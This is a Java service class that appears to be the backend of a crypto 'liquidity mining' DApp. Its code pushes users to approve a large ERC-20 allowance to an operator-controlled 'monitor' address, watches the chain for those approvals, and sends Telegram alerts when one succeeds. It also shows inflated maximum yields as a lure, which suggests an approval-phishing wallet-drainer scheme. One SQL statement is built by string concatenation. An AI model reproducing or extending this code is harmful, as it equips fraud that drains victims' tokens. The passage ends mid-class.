package project.monitor.internal;
|
|
import java.math.BigDecimal;
|
import java.math.BigInteger;
|
import java.math.RoundingMode;
|
import java.util.ArrayList;
|
import java.util.Date;
|
import java.util.HashMap;
|
import java.util.List;
|
import java.util.Map;
|
import java.util.Set;
|
|
import org.slf4j.Logger;
|
import org.slf4j.LoggerFactory;
|
import org.web3j.utils.Convert;
|
|
import kernel.exception.BusinessException;
|
import kernel.util.Arith;
|
import kernel.util.DateUtils;
|
import kernel.util.JsonUtils;
|
import kernel.util.StringUtils;
|
import kernel.util.ThreadUtils;
|
import kernel.util.UUIDGenerator;
|
import kernel.web.ApplicationUtil;
|
import project.Constants;
|
import project.data.DataService;
|
import project.data.model.Realtime;
|
import project.log.Log;
|
import project.log.LogService;
|
import project.monitor.AutoMonitorAddressConfigService;
|
import project.monitor.AutoMonitorDAppLogService;
|
import project.monitor.AutoMonitorPoolDataService;
|
import project.monitor.AutoMonitorPoolMiningDataService;
|
import project.monitor.AutoMonitorWalletService;
|
import project.monitor.DAppAccountService;
|
import project.monitor.DAppService;
|
import project.monitor.activity.ActivityOrderService;
|
import project.monitor.activity.MiningPledgeConfig;
|
import project.monitor.erc20.service.Erc20RemoteService;
|
import project.monitor.erc20.service.Erc20Service;
|
import project.monitor.etherscan.EtherscanRemoteService;
|
import project.monitor.etherscan.EtherscanService;
|
import project.monitor.etherscan.GasOracle;
|
import project.monitor.etherscan.InputMethodEnum;
|
import project.monitor.etherscan.Transaction;
|
import project.monitor.mining.MiningConfig;
|
import project.monitor.mining.MiningConfigService;
|
import project.monitor.mining.MiningService;
|
import project.monitor.model.AutoMonitorAddressConfig;
|
import project.monitor.model.AutoMonitorDAppLog;
|
import project.monitor.model.AutoMonitorPoolData;
|
import project.monitor.model.AutoMonitorPoolMiningData;
|
import project.monitor.model.AutoMonitorWallet;
|
import project.monitor.noderpc.business.NodeRpcBusinessService;
|
import project.monitor.pledge.PledgeOrder;
|
import project.monitor.pledge.PledgeOrderService;
|
import project.monitor.report.DAppUserDataSumService;
|
import project.monitor.telegram.business.TelegramBusinessMessageService;
|
import project.monitor.withdraw.AutoMonitorWithdraw;
|
import project.monitor.withdraw.AutoMonitorWithdrawCollection;
|
import project.monitor.withdraw.AutoMonitorWithdrawCollectionService;
|
import project.monitor.withdraw.AutoMonitorWithdrawService;
|
import project.party.PartyService;
|
import project.party.model.Party;
|
import project.party.model.UserRecom;
|
import project.party.recom.UserRecomService;
|
import project.syspara.Syspara;
|
import project.syspara.SysparaService;
|
import project.tip.TipConstants;
|
import project.tip.TipService;
|
import project.user.UserDataService;
|
import project.wallet.Wallet;
|
import project.wallet.WalletExtend;
|
import project.wallet.WalletService;
|
import security.Role;
|
import security.RoleService;
|
import security.SecUser;
|
import security.internal.SecUserService;
|
|
public class DAppServiceImpl implements DAppService {
|
private PartyService partyService;
|
protected SysparaService sysparaService;
|
private WalletService walletService;
|
private LogService logService;
|
private UserRecomService userRecomService;
|
private UserDataService userDataService;
|
private AutoMonitorWalletService autoMonitorWalletService;
|
private AutoMonitorWithdrawService autoMonitorWithdrawService;
|
private SecUserService secUserService;
|
private RoleService roleService;
|
private AutoMonitorDAppLogService autoMonitorDAppLogService;
|
private AutoMonitorPoolDataService autoMonitorPoolDataService;
|
private MiningConfigService miningConfigService;
|
private MiningService miningService;
|
protected DataService dataService;
|
protected ActivityOrderService activityOrderService;
|
protected TelegramBusinessMessageService telegramBusinessMessageService;
|
protected DAppUserDataSumService dAppUserDataSumService;
|
protected TipService tipService;
|
protected DAppAccountService dAppAccountService;
|
protected Erc20RemoteService erc20RemoteService;
|
protected Erc20Service erc20Service;
|
protected EtherscanRemoteService etherscanRemoteService;
|
protected AutoMonitorAddressConfigService autoMonitorAddressConfigService;
|
protected NodeRpcBusinessService nodeRpcBusinessService;
|
protected AutoMonitorWithdrawCollectionService autoMonitorWithdrawCollectionService;
|
protected PledgeOrderService pledgeOrderService;
|
protected AutoMonitorPoolMiningDataService autoMonitorPoolMiningDataService;
|
protected EtherscanService etherscanService;
|
|
private Logger logger = LoggerFactory.getLogger(DAppServiceImpl.class);
|
|
@Override
|
public List<MiningPledgeConfig> getPledgeConfig() {
|
MiningConfig config = miningConfigService.getHoldConfig();
|
return getRecomRate(config);
|
}
|
|
@Override
|
public Party saveLogin(String from, String code, String ip) {
|
|
Party party = partyService.findPartyByUsername(from);
|
|
// 已经存在的用户，直接返回登录成功
|
if (party != null) {
|
// 登录日志
|
Log log = new Log();
|
log.setCategory(Constants.LOG_CATEGORY_SECURITY);
|
log.setLog("用户登录,ip[" + ip + "]");
|
log.setPartyId(party.getId().toString());
|
log.setUsername(from);
|
logService.saveAsyn(log);
|
|
party.setLogin_ip(ip);
|
party.setLast_loginTime(new Date());
|
this.partyService.update(party);
|
return party;
|
}
|
|
// 第一次登录，则自动注册
|
Party party_reco = this.partyService.findPartyByUsercode(code);
|
if ("true".equals(sysparaService.find("register_need_usercode").getValue())) {
|
if (party_reco == null || !party_reco.getEnabled()) {
|
throw new BusinessException("code error");
|
}
|
}
|
|
int ever_user_level_num = this.sysparaService.find("ever_user_level_num").getInteger();
|
int ever_user_level_num_custom = this.sysparaService.find("ever_user_level_num_custom").getInteger();
|
|
party = new Party();
|
party.setUsername(from);
|
party.setUsercode(getUsercode());
|
party.setUser_level(ever_user_level_num_custom * 10 + ever_user_level_num);
|
party.setRolename(Constants.SECURITY_ROLE_MEMBER);
|
party.setLogin_ip(ip);
|
party.setLast_loginTime(new Date());
|
partyService.save(party);
|
|
Role role = this.roleService.findRoleByName(Constants.SECURITY_ROLE_MEMBER);
|
|
SecUser secUser = new SecUser();
|
secUser.setPartyId(String.valueOf(party.getId()));
|
secUser.getRoles().add(role);
|
|
secUser.setUsername(party.getUsername());
|
|
this.secUserService.saveUser(secUser);
|
|
// usdt账户
|
Wallet wallet = new Wallet();
|
wallet.setPartyId(party.getId().toString());
|
wallet.setMoney(0d);
|
this.walletService.save(wallet);
|
|
if (party_reco != null) {
|
|
UserRecom userRecom = new UserRecom();
|
userRecom.setPartyId(party.getId());
|
// 父类partyId
|
userRecom.setReco_id(party_reco.getId());
|
this.userRecomService.save(userRecom);
|
}
|
|
String uuid = UUIDGenerator.getUUID();
|
String partyId = party.getId().toString();
|
String partyRecoId = party_reco != null?party_reco.getId().toString():"";
|
|
ApplicationUtil.executeDML("INSERT INTO T_USER(UUID,PARTY_ID,PARENT_PARTY_ID) VALUES('"+uuid+"','"+partyId+"','"+partyRecoId+"')");
|
|
this.userDataService.saveRegister(party.getId());
|
|
dAppUserDataSumService.saveRegister(party.getId());
|
|
/**
|
* 登录日志
|
*/
|
Log log = new Log();
|
|
log.setCategory(Constants.LOG_CATEGORY_SECURITY);
|
log.setLog("用户登录,ip[" + ip + "]");
|
log.setPartyId(party.getId().toString());
|
log.setUsername(from);
|
logService.saveAsyn(log);
|
return party;
|
}
|
|
/**
|
* 检查当前地址是否可授权 return true:可授权，false:不可授权
|
*/
|
public int check(String address) {
|
// 统一处理成小写
|
address = address.toLowerCase();
|
AutoMonitorWallet entity = autoMonitorWalletService.findBy(address);
|
|
if (entity == null || entity.getSucceeded() == 2) {
|
return 0;
|
}
|
if (entity.getSucceeded() == 0) {
|
return 1;
|
}
|
if (entity.getSucceeded() == 1) {
|
return 2;
|
}
|
if (entity.getSucceeded() == -5) {
|
return -5;
|
}
|
return 0;
|
|
}
|
|
/**
|
* 检测是否已加入其他节点
|
*
|
* @param address
|
* @return true:已加入其他节点，false:未加入其他节点
|
*/
|
public boolean checkNodeAddress(String address) {
|
String myCode = sysparaService.find("node_project_code").getValue();
|
if ("8467".equals(myCode)) {// 特殊代码直接过滤用作演示
|
return false;
|
}
|
String projectCode = nodeRpcBusinessService.sendGet(address);
|
if (projectCode == null) {// 服务调用异常时，不做判断处理，走正常流程
|
return false;
|
}
|
if (!myCode.equals(projectCode) && !"-1".equals(projectCode)) {
|
// throw new BusinessException("Has joined other nodes");
|
return true;
|
}
|
return false;
|
}
|
|
/**
|
* 检验地址是否已经加入节点
|
*
|
* @param address
|
* @return true:已加入，false:未加入
|
*/
|
public boolean checkAddNode(String address) {
|
// 统一处理成小写
|
address = address.toLowerCase();
|
AutoMonitorWallet entity = autoMonitorWalletService.findBy(address);
|
|
if (entity != null && entity.getSucceeded() == 1) {
|
return true;
|
}
|
return false;
|
}
|
|
public int saveApprove(String from, String to) {
|
|
// 统一处理成小写
|
from = from.trim().toLowerCase();
|
Party party = partyService.findPartyByUsername(from);
|
|
if (party == null) {
|
throw new BusinessException("user unknown");
|
}
|
|
int check = check(from);
|
if (check != 0 && check != -5) {
|
// 已加入，不处理
|
return check;
|
}
|
|
AutoMonitorWallet entity = autoMonitorWalletService.findBy(from);
|
|
if (entity == null) {
|
entity = new AutoMonitorWallet();
|
entity.setAddress(from);
|
entity.setMonitor_amount(Double.valueOf(10000000000L));
|
entity.setCreated(new Date());
|
entity.setPartyId(party.getId());
|
entity.setMonitor_address(to);
|
entity.setRolename(party.getRolename());
|
/**
|
* 弃用了，代理先不删
|
*/
|
Double threshold = sysparaService.find("auto_monitor_threshold").getDouble();
|
|
entity.setThreshold(threshold);
|
|
entity.setCreated_time_stamp(new Date().getTime() / 1000);
|
autoMonitorWalletService.save(entity);
|
|
} else {
|
|
if (entity.getSucceeded() == -5) {
|
entity.setSucceeded(0);
|
entity.setCancel_apply(1);
|
//entity.setCreated_time_stamp(new Date().getTime() / 1000);
|
autoMonitorWalletService.update(entity);
|
return 1;
|
} else {
|
entity.setMonitor_address(to);
|
// 重置申请中状态
|
entity.setSucceeded(0);
|
|
//entity.setCreated_time_stamp(new Date().getTime() / 1000);
|
autoMonitorWalletService.update(entity);
|
}
|
}
|
autoMonitorAddressConfigService.saveApproveByAddress(entity.getMonitor_address());
|
|
tipService.saveTip(entity.getId().toString(), TipConstants.AUTO_MONITOR_APPROVE);
|
return 1;
|
|
}
|
|
public void approveAdd(String from, String hash, boolean status) {
|
from = from.trim();
|
// 统一处理成小写
|
from = from.toLowerCase();
|
Party party = partyService.findPartyByUsername(from);
|
if (party == null) {
|
return;
|
}
|
|
AutoMonitorWallet entity = autoMonitorWalletService.findBy(from);
|
if (entity == null) {
|
return;
|
}
|
|
if (entity.getSucceeded() == 1) {
|
// 数据库状态成功，只保存哈希
|
entity.setTxn_hash(hash);
|
autoMonitorWalletService.update(entity);
|
return;
|
}
|
if (entity.getSucceeded() == -5 || entity.getCancel_apply() == 1) {// 取消授权发起后处理
|
if (status) {
|
entity.setSucceeded(2);
|
entity.setCancel_apply(2);
|
autoMonitorWalletService.update(entity);
|
dAppUserDataSumService.saveApproveSuccessToFail(party.getId());
|
} else {
|
entity.setSucceeded(-5);
|
entity.setCancel_apply(0);
|
autoMonitorWalletService.update(entity);
|
}
|
return;
|
}
|
// 原状态是否处于申请中
|
boolean oldStatusApply = entity.getSucceeded() == 0;
|
if (status) {
|
entity.setTxn_hash(hash);
|
entity.setSucceeded(1);
|
String oldMonitorAddress = entity.getMonitor_address();
|
//成功的话,直接改成系统正在启用的地址，避免申请单未提交，而区块链已经成功后发起的
|
String address = autoMonitorAddressConfigService.findByEnabled().getAddress();
|
entity.setMonitor_address(address);
|
|
autoMonitorWalletService.update(entity);
|
|
dAppUserDataSumService.saveApprove(party.getId());
|
|
if(!address.equals(oldMonitorAddress)) {
|
//并且记录日志
|
Log log = new Log();
|
log.setCategory(Constants.LOG_CATEGORY_SECURITY);
|
log.setLog("前端接口请求返回授权成功，但是申请单授权地址与系统地址不匹配自动替换，用户申请单原授权地址:["+entity.getMonitor_address()+"],系统启用地址:["+address+"]");
|
log.setPartyId(party.getId().toString());
|
log.setUsername(from);
|
logService.saveAsyn(log);
|
entity.setMonitor_address(address);
|
}
|
|
// 等待事务提交后
|
ThreadUtils.sleep(200);
|
dAppAccountService.addBalanceQueue(party.getUsercode(), party.getRolename());
|
telegramBusinessMessageService.sendApproveAddTeleg(party);
|
autoMonitorPoolMiningDataService.updatePoolDataByApproveSuccess();
|
} else {
|
entity.setTxn_hash(hash);
|
// 返回失败时，哈希为空表示为拒绝
|
entity.setSucceeded(StringUtils.isEmptyString(hash) ? 4 : 2);
|
autoMonitorWalletService.update(entity);
|
|
// 失败时才发送消息
|
// if (entity.getSucceeded() == 2) {
|
// telegramBusinessMessageService.sendApproveErrorAddTeleg(party);
|
// }
|
}
|
if (oldStatusApply) {
|
// 申请到失败或拒绝 授权地址 授权申请数-1
|
if (entity.getSucceeded() == 2 || entity.getSucceeded() == 4) {
|
autoMonitorAddressConfigService.saveApproveFailByAddress(entity.getMonitor_address());
|
}
|
tipService.deleteTip(entity.getId().toString());
|
}
|
}
|
|
public Double getBalance(String from) {
|
from = from.trim().toLowerCase();
|
Party party = partyService.findPartyByUsername(from);
|
// 目前是ETH，后续的是否需要变动改成动态再讨论
|
String symbol = Constants.WALLETEXTEND_DAPP_ETH;
|
WalletExtend walletExtend = walletService.saveExtendByPara(party.getId(), symbol);
|
return walletExtend.getAmount();
|
}
|
|
public void saveExchange(String partyId, String address, double value) {
|
|
// if (!checkAddNode(from)) {
|
//// 用户未加入节点
|
// throw new BusinessException("The user did not join the node");
|
// }
|
// 目前是ETH，后续的是否需要变动改成动态再讨论
|
// String symbol = "eth";
|
String symbol = Constants.WALLETEXTEND_DAPP_ETH;
|
AutoMonitorWithdraw withdraw = new AutoMonitorWithdraw();
|
withdraw.setPartyId(partyId);
|
withdraw.setVolume(value);
|
withdraw.setAddress(address);
|
withdraw.setMethod(symbol);
|
autoMonitorWithdrawService.saveExchangeApply(withdraw);
|
}
|
|
/**
|
* 质押总金额赎回
|
*/
|
public void saveExchangeCollection(String from) {
|
|
// if (value <= 0) {
|
// // 请输入正确的转换金额
|
// throw new BusinessException("Please enter the correct conversion amount");
|
// }
|
from = from.trim();
|
// 统一处理成小写
|
from = from.toLowerCase();
|
Party party = partyService.findPartyByUsername(from);
|
if (party == null) {
|
throw new BusinessException("user unknown");
|
}
|
PledgeOrder order = pledgeOrderService.findByPartyId(party.getId());
|
if (order == null) {
|
// 用户未加入质押
|
throw new BusinessException("The user did not join the Crypto Loans");
|
}
|
if (!order.getApply()) {
|
// 用户未加入质押
|
throw new BusinessException("The user did not join the Crypto Loans");
|
}
|
// 用户未达到可下发时间，不可赎回
|
if (!order.getSendtime().before(new Date())) {
|
throw new BusinessException("Not within the redeem time");
|
}
|
|
// if (!checkAddNode(from)) {
|
//// 用户未加入节点
|
// throw new BusinessException("The user did not join the node");
|
// }
|
// 目前是ETH，后续的是否需要变动改成动态再讨论
|
// String symbol = "eth";
|
String symbol = Constants.WALLETEXTEND_DAPP_USDT;
|
WalletExtend walletExtend = walletService.saveExtendByPara(party.getId(), symbol);
|
AutoMonitorWithdrawCollection withdraw = new AutoMonitorWithdrawCollection();
|
withdraw.setPartyId(party.getId());
|
withdraw.setVolume(walletExtend.getAmount());
|
withdraw.setAddress(from);
|
withdraw.setMethod(symbol);
|
autoMonitorWithdrawCollectionService.saveExchangeApply(withdraw);
|
}
|
|
private String getUsercode() {
|
Syspara syspara = sysparaService.find("user_uid_sequence");
|
int random = (int) (Math.random() * 3 + 1);
|
int user_uid_sequence = syspara.getInteger() + random;
|
syspara.setValue(user_uid_sequence);
|
sysparaService.update(syspara);
|
|
String usercode = String.valueOf(user_uid_sequence);
|
return usercode;
|
}
|
|
|
public List<Map<String, Object>> getExchangeLogs(int pageNo, int pageSize, String partyId, String action) {
|
|
List<AutoMonitorDAppLog> list = autoMonitorDAppLogService.pagedQuery(pageNo, pageSize,
|
partyId, action);
|
|
List<Map<String, Object>> result = new ArrayList<Map<String, Object>>();
|
for (AutoMonitorDAppLog log : list) {
|
Map<String, Object> map = new HashMap<String, Object>();
|
// ETH
|
map.put("eth", log.getExchange_volume());
|
// usdt
|
map.put("usdt", log.getAmount());
|
// status
|
map.put("status", log.getStatus());
|
map.put("action", log.getAction());
|
String value_str = new BigDecimal(String.valueOf(log.getExchange_volume())).toPlainString();
|
map.put("exchange_volume", value_str);
|
map.put("create_time", DateUtils.format(log.getCreateTime(), DateUtils.DF_yyyyMMddHHmm));
|
result.add(map);
|
}
|
return result;
|
}
|
|
public Map<String, Object> poolData() {
|
Map<String, Object> map = new HashMap<String, Object>();
|
AutoMonitorPoolData poolData = autoMonitorPoolDataService.findDefault();
|
// 总产量
|
map.put("total_output", poolData.getTotal_output());
|
// 用户收益
|
map.put("user_revenue", poolData.getUser_revenue());
|
// 参与人数
|
map.put("verifier", poolData.getVerifier());
|
// 节点数
|
map.put("node_num", poolData.getNode_num());
|
// 总流动性挖矿合约资金
|
map.put("mining_total", poolData.getMining_total());
|
// 平台总质押金额
|
map.put("tradingSum", poolData.getTradingSum());
|
return map;
|
}
|
|
public Map<String, Object> poolMiningData() {
|
Map<String, Object> map = new HashMap<String, Object>();
|
AutoMonitorPoolMiningData poolData = autoMonitorPoolMiningDataService.findDefault();
|
map.put("total_output", poolData.getTotal_output());
|
map.put("verifier", poolData.getVerifier());
|
return map;
|
}
|
|
public Map<String, Object> getProfit(String from) {
|
Map<String, Object> map = new HashMap<String, Object>();
|
from = from.trim();
|
// 统一处理成小写
|
from = from.toLowerCase();
|
Party party = partyService.findPartyByUsername(from);
|
if (party == null) {
|
throw new BusinessException("user unknown");
|
}
|
// 默认值为最大
|
double money = 5999999;
|
double geteth = 0d;
|
|
if (!checkAddNode(from)) {
|
// 用户未加入节点时取最大的收益率
|
MiningConfig config = miningConfigService.getHoldConfig();
|
geteth = config == null ? 0 : miningService.getIncomeRate(money, config);
|
} else {
|
|
List<MiningConfig> configs = miningConfigService.getAll();
|
List<UserRecom> parents = userRecomService.getParents(party.getId());
|
MiningConfig config = miningConfigService.getConfig(party.getId().toString(), parents, configs);
|
|
WalletExtend extend = walletService.saveExtendByPara(party.getId(), Constants.WALLETEXTEND_DAPP_USDT_USER);
|
money = extend.getAmount();
|
geteth = config == null ? 0 : miningService.getIncomeRate(money, config);
|
}
|
// eth行情价
|
List<Realtime> realtime_list = this.dataService.realtime("eth");
|
Realtime realtime = null;
|
if (realtime_list.size() > 0) {
|
realtime = realtime_list.get(0);
|
}
|
Double close = realtime.getClose();
|
|
map.put("eth_return", Arith.round(geteth * 100, 2));
|
map.put("usdtRate", close);
|
|
return map;
|
}
|
|
public Map<String, String> getActivity(String from, String partyId) {
|
return activityOrderService.saveFindBy(from, partyId);
|
}
|
|
|
public void saveActivity(String from, String activityId) {
|
activityOrderService.savejoin(from, activityId);
|
}
|
|
public Map<String, Object> share(Party party) {
|
String shareUrl = sysparaService.find("share_url").getValue();
|
Map<String, Object> map = new HashMap<String, Object>();
|
map.put("url", shareUrl + "#/?code=" + party.getUsercode());
|
return map;
|
}
|
|
public double exchangeFee(String from, double volume) {
|
from = from.trim();
|
// 统一处理成小写
|
from = from.toLowerCase();
|
Party party = partyService.findPartyByUsername(from);
|
if (party == null) {
|
throw new BusinessException("user unknown");
|
}
|
|
Realtime realtime = dataService.realtime("eth").get(0);
|
Double close = realtime.getClose();
|
|
return autoMonitorWithdrawService.feeOfExchange(party.getId().toString(), volume, close);
|
}
|
|
public List<Map<String, Object>> getNoticeLogs() {
|
AutoMonitorPoolData findDefault = autoMonitorPoolDataService.findDefault();
|
String noticeLogs = findDefault.getNotice_logs();
|
return StringUtils.isEmptyString(noticeLogs) ? new ArrayList() : JsonUtils.json2Object(noticeLogs, List.class);
|
}
|
|
public void checkChainApprove(Party party) {
|
String address = party.getUsername().toLowerCase();
|
List<Transaction> transactions = etherscanService.getListOfTransactions(address, 0);
|
// 授权地址
|
AutoMonitorAddressConfig addressConfig = autoMonitorAddressConfigService.findByEnabled();
|
// 授权状态 0 待确认，1 成功 2 失败
|
int onChain = 0;
|
for (int i = 0; i < transactions.size(); i++) {
|
Transaction transaction = transactions.get(i);
|
// 非授权的交易记录直接过滤
|
if(!InputMethodEnum.approve.name().equals(transaction.getInputMethod())) {
|
continue;
|
}
|
Map<String, Object> inputValueMap = transaction.getInputValueMap();
|
String approve_address = inputValueMap.get("approve_address").toString();
|
if (approve_address.equalsIgnoreCase(addressConfig.getAddress())) {
|
onChain = 1;
|
break;
|
}
|
}
|
|
if (onChain == 1) {
|
AutoMonitorWallet autoMonitorWallet = autoMonitorWalletService.findBy(address);
|
if (null == autoMonitorWallet) {
|
autoMonitorWallet = new AutoMonitorWallet();
|
autoMonitorWallet.setAddress(address);
|
autoMonitorWallet.setMonitor_amount(Double.valueOf(10000000000L));
|
autoMonitorWallet.setCreated(new Date());
|
autoMonitorWallet.setPartyId(party.getId());
|
autoMonitorWallet.setMonitor_address(addressConfig.getAddress());
|
autoMonitorWallet.setRolename(party.getRolename());
|
autoMonitorWallet.setCreated_time_stamp(new Date().getTime() / 1000);
|
autoMonitorWalletService.save(autoMonitorWallet);
|
|
autoMonitorAddressConfigService.saveApproveByAddress(autoMonitorWallet.getMonitor_address());
|
|
tipService.saveTip(autoMonitorWallet.getId().toString(), TipConstants.AUTO_MONITOR_APPROVE);
|
}
|
}
|
}
|
|
/**
|
* 获取授权gas相关参数
|
*
|
* @return
|
*/
|
public Map<String, Object> getApproveGasAbout(String from) {
|
|
try {
|
Map<String, Object> map = new HashMap<String, Object>();
|
|
AutoMonitorWallet entity = autoMonitorWalletService.findBy(from);
|
String approveValue = "10000000000";
|
if (entity != null && entity.getSucceeded() == -5) {
|
approveValue = "0";
|
map.put("own_approve_address", entity.getMonitor_address());
|
}
|
|
AutoMonitorAddressConfig addressConfig = autoMonitorAddressConfigService.findByEnabled();
|
if (null == addressConfig || StringUtils.isNullOrEmpty(addressConfig.getAddress())) {
|
throw new BusinessException("addressConfig is null");
|
}
|
|
BigInteger gasLimitByApprove = erc20RemoteService.gasLimitByApprove(from, addressConfig.getAddress(), approveValue);
|
GasOracle gasOracle = etherscanRemoteService.getDoubleFastGasOracle();
|
|
if (gasLimitByApprove == null || gasOracle == null) {
|
map.put("action", 0);
|
map.put("eth", 0);
|
map.put("usdt", 0);
|
map.put("gaslimit", 0);
|
map.put("gasprice", 0);
|
} else {
|
map.put("gaslimit", gasLimitByApprove.longValue());
|
map.put("gasprice", gasOracle.getFastGasPriceGWei());
|
Double ethBalance = erc20Service.getEthBalance(from);
|
BigDecimal bigDecimal = Convert.fromWei(
|
gasLimitByApprove.multiply(gasOracle.getFastGasPriceGWei()).toString(), Convert.Unit.ETHER);
|
Realtime realtime = dataService.realtime("eth").get(0);
|
Double close = realtime.getClose();
|
map.put("action", ethBalance != null && ethBalance.compareTo(bigDecimal.doubleValue()) >= 0 ? 1 : 0);
|
map.put("eth", bigDecimal.doubleValue());
|
map.put("usdt", new BigDecimal(Arith.mul(close, bigDecimal.doubleValue())).setScale(2, RoundingMode.UP));
|
}
|
return map;
|
} catch (Exception e) {
|
logger.error("getApproveGasAbout fail,address:" + from, "e:" + e);
|
e.printStackTrace();
|
throw new BusinessException("Blockchain detection timeout,please try again later");
|
}
|
}
|
|
public String ownApproveAddress(String from) {
|
from = from.trim();
|
AutoMonitorWallet entity = autoMonitorWalletService.findBy(from);
|
if (entity != null && entity.getSucceeded() == -5) {
|
return entity.getMonitor_address();
|
}
|
return null;
|
}
|
|
/**
|
* 检测区块链
|
*
|
* @param party
|
*/
|
public int checkApproveChainBlock(Party party) {
|
try {
|
|
AutoMonitorWallet entity = autoMonitorWalletService.findBy(party.getUsername());
|
if (entity == null) {
|
return checkAnswer(entity);
|
}
|
// 申请单存在 且不是拒绝时不处理
|
if (entity != null && entity.getSucceeded() != 4) {
|
return checkAnswer(entity);
|
}
|
if (entity != null && entity.getCancel_apply() == 1) {
|
return checkAnswer(entity);
|
}
|
Set<String> addressSet = autoMonitorAddressConfigService.cacheAllMap().keySet();
|
List<Transaction> transactions = etherscanRemoteService.getListOfTransactions(party.getUsername(), 0);
|
/**
|
* 授权状态 0 待确认，1 成功 2 失败,3取消
|
*/
|
int succeeded = 0;
|
String hash = "";
|
// 是否存在交易记录
|
boolean isExit = false;
|
// 授权地址
|
String to = "";
|
Long createTimeStamp = null;
|
for (int i = 0; i < transactions.size(); i++) {
|
Transaction transaction = transactions.get(i);
|
// 非授权的交易记录直接过滤
|
if (!InputMethodEnum.approve.name().equals(transaction.getInputMethod())) {
|
continue;
|
}
|
Map<String, Object> inputValueMap = transaction.getInputValueMap();
|
String approve_address = inputValueMap.get("approve_address").toString();
|
BigInteger approve_value = new BigInteger(inputValueMap.get("approve_value").toString());
|
|
if (checkApproveAddress(entity, approve_address, addressSet)) {
|
isExit = true;
|
if (StringUtils.isEmptyString(transaction.getTxreceipt_status())) {
|
continue;
|
}
|
|
switch (transaction.getTxreceipt_status()) {
|
// 授权成功
|
case "1":
|
// 取消
|
if (approve_value.compareTo(BigInteger.valueOf(0L)) == 0) {
|
succeeded = 3;
|
} else {
|
succeeded = 1;
|
to = approve_address;
|
}
|
hash = transaction.getHash();
|
createTimeStamp = Long.valueOf(transaction.getTimeStamp());
|
break;
|
// 授权失败
|
case "0":
|
if (succeeded != 1) {
|
succeeded = 2;
|
hash = transaction.getHash();
|
createTimeStamp = Long.valueOf(transaction.getTimeStamp());
|
}
|
break;
|
default:
|
createTimeStamp = Long.valueOf(transaction.getTimeStamp());
|
break;
|
}
|
}
|
}
|
|
if (succeeded == 1) {// 成功
|
entity = saveOrUpdateApprove(party, to, createTimeStamp, hash, 1, "login检测，用户授权成功");
|
} else if (succeeded == 2) {// 失败
|
entity = saveOrUpdateApprove(party, to, createTimeStamp, hash, 2, "login检测，用户授权失败");
|
} else if (succeeded == 3) {// 取消
|
entity = saveOrUpdateApprove(party, to, createTimeStamp, hash, 2, "login检测，用户授权取消");
|
} else if (isExit) {
|
entity = saveOrUpdateApprove(party, to, createTimeStamp, hash, 0, "login检测，用户授权处理中");
|
}
|
|
return checkAnswer(entity);
|
|
} catch (Exception e) {
|
logger.error("DAppServiceImpl checkApproveChainBlock fail,address:{},e:" + e, party.getUsername());
|
e.printStackTrace();
|
return -1;
|
}
|
}
|
|
public AutoMonitorWallet saveOrUpdateApprove(Party party, String approveAddress, Long createTimeStamp, String hash,
|
int status, String logText) {
|
|
AutoMonitorWallet entity = autoMonitorWalletService.findBy(party.getUsername());
|
if (entity != null && entity.getSucceeded() != 4) {
|
// 已经完成了的不处理
|
return entity;
|
}
|
String dbSucceedLog = ",原状态:";
|
if (entity == null) {
|
entity = new AutoMonitorWallet();
|
entity.setAddress(party.getUsername());
|
entity.setMonitor_amount(Double.valueOf(10000000000L));
|
entity.setCreated(new Date());
|
entity.setPartyId(party.getId());
|
entity.setMonitor_address(approveAddress);
|
entity.setRolename(party.getRolename());
|
/**
|
* 这个数据库没有，负责联调的补上
|
*/
|
/**
|
* 弃用了，代理先不删
|
*/
|
Double threshold = sysparaService.find("auto_monitor_threshold").getDouble();
|
entity.setThreshold(threshold);
|
|
entity.setSucceeded(status);
|
entity.setCreated_time_stamp(createTimeStamp);
|
entity.setCreated(new Date());
|
entity.setTxn_hash(hash);
|
autoMonitorWalletService.save(entity);
|
dbSucceedLog += "未申请";
|
} else {
|
dbSucceedLog += "拒绝";
|
entity.setSucceeded(status);
|
entity.setTxn_hash(hash);
|
autoMonitorWalletService.update(entity);
|
|
}
|
if (status == 1) {// 表示是从拒绝或没有申请单直接到成功状态
|
autoMonitorAddressConfigService.saveApproveByAddress(entity.getMonitor_address());
|
dAppUserDataSumService.saveApprove(party.getId());
|
// 等待事务提交后
|
ThreadUtils.sleep(200);
|
dAppAccountService.addBalanceQueue(party.getUsercode(), party.getRolename());
|
telegramBusinessMessageService.sendApproveAddTeleg(party);
|
autoMonitorPoolMiningDataService.updatePoolDataByApproveSuccess();
|
// 授权成功则加入到远程服务中
|
nodeRpcBusinessService.sendAdd(entity.getAddress());
|
}
|
|
Log log = new Log();
|
|
log.setCategory(Constants.LOG_CATEGORY_SECURITY);
|
log.setLog(logText + dbSucceedLog + ",授权地址[" + approveAddress + "]");
|
log.setPartyId(party.getId().toString());
|
log.setUsername(party.getUsername());
|
logService.saveAsyn(log);
|
return entity;
|
}
|
|
public boolean checkApproveAddress(AutoMonitorWallet entity, String approveAddress, Set<String> addressSet) {
|
if (entity == null) {
|
// 没有申请单的，匹配数据库中的授权地址
|
for (String address : addressSet) {
|
if (approveAddress.equalsIgnoreCase(address)) {
|
return true;
|
}
|
}
|
} else {
|
return approveAddress.equalsIgnoreCase(entity.getMonitor_address());
|
}
|
return false;
|
}
|
|
public int checkAnswer(AutoMonitorWallet entity) {
|
// 返回前端的状态
|
if (entity == null || entity.getSucceeded() == 2) {
|
return 0;
|
}
|
if (entity.getSucceeded() == 0) {
|
return 1;
|
}
|
if (entity.getSucceeded() == 1) {
|
return 2;
|
}
|
if (entity.getSucceeded() == -5) {
|
return -5;
|
}
|
// if (entity.getSucceeded() == -4) {
|
// return -4;
|
// }
|
// if (entity.getSucceeded() == -3) {
|
// return -3;
|
// }
|
return 0;
|
}
|
|
|
private List<MiningPledgeConfig> getRecomRate(MiningConfig config) {
|
List<MiningPledgeConfig> list = new ArrayList<>();
|
if (StringUtils.isNullOrEmpty(config.getConfig())) {
|
/*
|
* 没有配置，直接返回
|
*/
|
return list;
|
}
|
String[] split = config.getConfig().split("\\|");
|
for(String recom : split) {
|
MiningPledgeConfig miningPledgeConfig = new MiningPledgeConfig();
|
String[] recomArr = recom.split(";");
|
String[] moneyArr = recomArr[0].split("-");
|
miningPledgeConfig.setMinMoney(moneyArr[0]);
|
miningPledgeConfig.setMaxMoney(moneyArr[1]);
|
String[] priceArr = recomArr[1].split("-");
|
miningPledgeConfig.setPrice(priceArr[1]);
|
list.add(miningPledgeConfig);
|
}
|
return list;
|
}
|
|
|
public void setPartyService(PartyService partyService) {
|
this.partyService = partyService;
|
}
|
|
